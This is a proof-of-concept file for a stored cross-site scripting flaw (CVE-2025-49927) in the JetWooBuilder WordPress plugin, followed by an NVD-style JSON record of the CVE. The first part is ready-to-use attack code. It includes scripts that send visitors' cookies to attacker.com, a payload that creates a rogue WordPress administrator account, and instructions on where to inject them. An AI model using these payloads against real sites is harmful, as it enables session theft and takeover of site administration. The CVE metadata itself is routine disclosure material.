CVE-2025-49927

<!-- Stored XSS PoC for JetWooBuilder <= 2.1.20.1 --> <!-- The following payload can be injected into vulnerable input fields of JetWooBuilder templates --> <!-- Basic XSS payload for cookie stealing --> <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie;</script> <!-- Alternative payload using img tag onerror event --> <img src=x onerror="fetch('https://attacker.com/log?data='+btoa(document.cookie))"> <!-- Payload for admin privilege escalation (stored in template field) --> <script> var xhr = new XMLHttpRequest(); xhr.open("POST", "/wp-admin/user-new.php", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send("action=createuser&_wpnonce_create-user=&user_login=hacker&[email protected]&pass1=Password123!&pass2=Password123!&role=administrator"); </script> <!-- Note: Inject the above payload into any vulnerable input field within JetWooBuilder template settings or widget configurations. --> <!-- The malicious script will execute when any user visits the page containing the compromised template. -->

{"cve": {"id": "CVE-2025-49927", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:38.723", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetWooBuilder jet-woo-builder allows Stored XSS.This issue affects JetWooBuilder: from n/a through <= 2.1.20.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/jet-woo-builder/vulnerability/wordpress-jetwoobuilder-plugin-2-1-20-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}